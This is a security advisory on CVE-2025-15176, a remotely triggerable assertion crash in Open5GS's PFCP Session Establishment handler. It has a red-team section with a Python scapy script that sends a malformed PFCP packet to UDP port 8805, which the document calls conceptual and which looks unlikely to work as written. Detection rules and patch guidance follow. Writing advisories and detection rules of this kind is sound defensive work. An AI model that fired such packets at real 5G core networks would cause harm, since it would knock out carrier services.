CVE-2025-15176

Executive Summary

CVE-2025-15176 is a reachable assertion vulnerability in Open5GS, an open-source implementation of the 5G Core and EPC (Evolved Packet Core) network functions. The flaw resides in the PFCP (Packet Forwarding Control Protocol) Session Establishment Request handler, specifically within the lib/pfcp/rule-match.c file. By sending a specially crafted PFCP packet, an attacker can trigger an assertion failure in the functions decode_ipv6_header and ogs_pfcp_pdr_rule_find_by_packet, leading to a denial of service (DoS) of the affected network function. The vulnerability is remotely exploitable and has a public proof-of-concept (PoC) exploit available. The vendor has released a patch (commit b72d8349980076e2c033c8324f07747a86eea4f8) to address this issue.

Supply Chain & Package Security

This vulnerability affects the Open5GS software package, which is commonly deployed in 5G core network environments. Organizations using Open5GS in their infrastructure should treat this as a high-priority security update. The package is typically installed from source or via package managers like apt or yum from the official Open5GS repositories. Ensure that the package is updated to a version that includes the patch.

CVSS Breakdown & Threat Level

While the official CVSS score is listed as 0.0, the vulnerability is assessed as follows based on the provided information:

• Attack Vector (AV): Network (N) - The attack is remotely exploitable.
• Attack Complexity (AC): Low (L) - The exploit is publicly available and does not require special conditions.
• Privileges Required (PR): None (N) - No authentication is required.
• User Interaction (UI): None (N) - No user interaction is needed.
• Scope (S): Unchanged (U) - The vulnerability affects only the vulnerable component.
• Confidentiality (C): None (N) - No data is exposed.
• Integrity (I): None (N) - No data is modified.
• Availability (A): High (H) - The vulnerability causes a denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Estimated Base Score: 7.5 (High)

Threat Level: High. The vulnerability is remotely exploitable, has a public PoC, and can cause a denial of service on critical 5G core network functions.

Deep Dive & Mechanics

The vulnerability is located in the PFCP (Packet Forwarding Control Protocol) Session Establishment Request handler. PFCP is used in 5G core networks to establish and manage packet forwarding rules between the SMF (Session Management Function) and UPF (User Plane Function).

The flaw is in the lib/pfcp/rule-match.c file, specifically in the functions decode_ipv6_header and ogs_pfcp_pdr_rule_find_by_packet. When a PFCP Session Establishment Request is processed, the code attempts to decode an IPv6 header from the packet. If the packet contains a malformed or specially crafted IPv6 header, the decode_ipv6_header function can trigger an assertion failure. Similarly, the ogs_pfcp_pdr_rule_find_by_packet function can also reach an assertion when processing the packet.

An assertion failure in C/C++ typically results in an abort, causing the process to crash. This leads to a denial of service of the affected network function (e.g., SMF or UPF). Since the attack is remote and requires no authentication, an attacker can repeatedly send malicious PFCP packets to disrupt the 5G core network.

Vulnerable vs. Patched Code

The vulnerable code is in lib/pfcp/rule-match.c. The patch (commit b72d8349980076e2c033c8324f07747a86eea4f8) addresses the assertion failures by adding proper input validation and error handling.

Vulnerable Code (Conceptual):

// Vulnerable: No validation of IPv6 header length or content
void decode_ipv6_header(packet_t *pkt) {
    // Assume the packet contains a valid IPv6 header
    ipv6_header_t *ipv6 = (ipv6_header_t *)pkt->data;
    // ... process IPv6 header ...
    // Assertion that may fail with malformed data
    assert(ipv6->payload_length <= pkt->length);
}

Patched Code (Conceptual):

// Patched: Added validation before processing
bool decode_ipv6_header(packet_t *pkt) {
    // Check if the packet has enough data for an IPv6 header
    if (pkt->length < sizeof(ipv6_header_t)) {
        return false; // Error, do not assert
    }
    ipv6_header_t *ipv6 = (ipv6_header_t *)pkt->data;
    // Validate payload length
    if (ipv6->payload_length > pkt->length - sizeof(ipv6_header_t)) {
        return false; // Error, do not assert
    }
    // ... process IPv6 header ...
    return true;
}

The patch replaces assertion failures with proper error handling, preventing the crash.

Exploitation & Lab Setup

Red Team

Objective: Trigger a denial of service on an Open5GS SMF or UPF by sending a malicious PFCP Session Establishment Request.

Lab Setup:

1. Target: An Open5GS instance (version <= 2.7.5) running on a Linux machine (e.g., Ubuntu 22.04). Ensure the SMF and UPF are running.
2. Attacker: A separate machine with network access to the target's PFCP port (typically UDP port 8805).
3. Tools: Python with scapy library, or a custom PFCP packet crafting tool.

Exploit Steps:

1. Craft a PFCP Session Establishment Request packet with a malformed IPv6 header inside the PDI (Packet Detection Information) IE.
2. The malformed IPv6 header should have an invalid payload length or other fields that cause the assertion to fail.
3. Send the packet to the target's PFCP port.
4. Observe the target process crash (e.g., SMF or UPF process terminates).

Example Python Exploit (using scapy):

#!/usr/bin/env python3
from scapy.all import *
import socket

# Target IP and PFCP port
target_ip = "192.168.1.100"
target_port = 8805

# Craft a malformed IPv6 header (e.g., payload length > actual data)
malformed_ipv6 = IPv6(plen=65535, src="2001:db8::1", dst="2001:db8::2") / Raw(b"A"*10)

# Craft PFCP Session Establishment Request
# This is a simplified example; actual PFCP packet structure is more complex
pfcp_packet = IP(dst=target_ip) / UDP(sport=12345, dport=target_port) / \
    PFCP(seid=0, seq=1, S=1, msg_type=1) / \
    PFCPCreatePDR() / \
    PFCPPDI() / \
    malformed_ipv6

# Send the packet
send(pfcp_packet, verbose=0)
print("Malicious PFCP packet sent.")

Note: The actual PFCP packet structure requires detailed knowledge of the protocol. The above is a conceptual example.

Blue Team

Objective: Detect and mitigate the exploitation of CVE-2025-15176.

Detection:

1. Network Monitoring: Monitor PFCP traffic (UDP port 8805) for anomalous packets, especially those with malformed IPv6 headers or unusual payload lengths.
2. Log Analysis: Check Open5GS logs for assertion failures or crashes. Look for messages like Assertion failed or Aborted.
3. Process Monitoring: Monitor the SMF and UPF processes for unexpected terminations.

Mitigation:

1. Patch: Apply the official patch (commit b72d8349980076e2c033c8324f07747a86eea4f8) or upgrade to a patched version of Open5GS.
2. Network Segmentation: Restrict access to PFCP ports (UDP 8805) to only trusted network segments (e.g., between SMF and UPF).
3. Firewall Rules: Block PFCP traffic from untrusted sources.
4. Intrusion Prevention System (IPS): Deploy IPS rules to detect and block malformed PFCP packets.

Indicators of Compromise (IOCs)

• Network IOCs:
  • PFCP packets (UDP port 8805) with malformed IPv6 headers.
  • PFCP packets with invalid payload lengths or other anomalous fields.
  • Repeated PFCP Session Establishment Requests from the same source IP.
• System IOCs:
  • Open5GS SMF or UPF process crashes.
  • Log entries containing "Assertion failed" or "Aborted" in Open5GS logs.
  • Core dump files generated by the crashed process.

Detection Engineering

YARA Rule

rule CVE_2025_15176_Open5GS_PFCP_Assertion {
    meta:
        description = "Detects malformed PFCP packets targeting CVE-2025-15176"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15176"
    strings:
        $pfcp_header = { 20 ?? ?? ?? } // PFCP message type 1 (Session Establishment Request)
        $ipv6_header = { 60 } // IPv6 version 6
        $malformed_plen = { FF FF } // Payload length 65535 (malformed)
    condition:
        $pfcp_header and $ipv6_header and $malformed_plen
}

Sigma Rule

title: CVE-2025-15176 Open5GS PFCP Assertion DoS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2025-15176 via malformed PFCP packets
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: pfcp
detection:
    selection:
        pfcp_message_type: 1
        ipv6_payload_length: 65535
    condition: selection
falsepositives:
    - Legitimate PFCP traffic with unusual payload lengths (rare)
level: high

Suricata Rule

alert udp any any -> any 8805 (msg:"CVE-2025-15176 Open5GS PFCP Assertion DoS"; content:"|20 01 00 00|"; depth:4; content:"|60|"; within:40; content:"|FF FF|"; within:2; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Apply the official patch from the Open5GS repository (commit b72d8349980076e2c033c8324f07747a86eea4f8). This is the most effective mitigation.
2. Upgrade: Upgrade Open5GS to a version that includes the patch (version > 2.7.5).
3. Network Controls:
   • Restrict access to PFCP ports (UDP 8805) to only trusted IP addresses.
   • Use firewall rules to block PFCP traffic from external networks.
   • Implement network segmentation to isolate 5G core network functions.
4. Monitoring:
   • Enable detailed logging for Open5GS components.
   • Monitor for process crashes and assertion failures.
   • Deploy network intrusion detection systems (NIDS) with rules to detect malformed PFCP packets.
5. Incident Response:
   • If exploitation is suspected, isolate the affected network function.
   • Collect logs and network captures for forensic analysis.
   • Apply the patch and restart the service.

Valters IT
Securing Digital Frontiers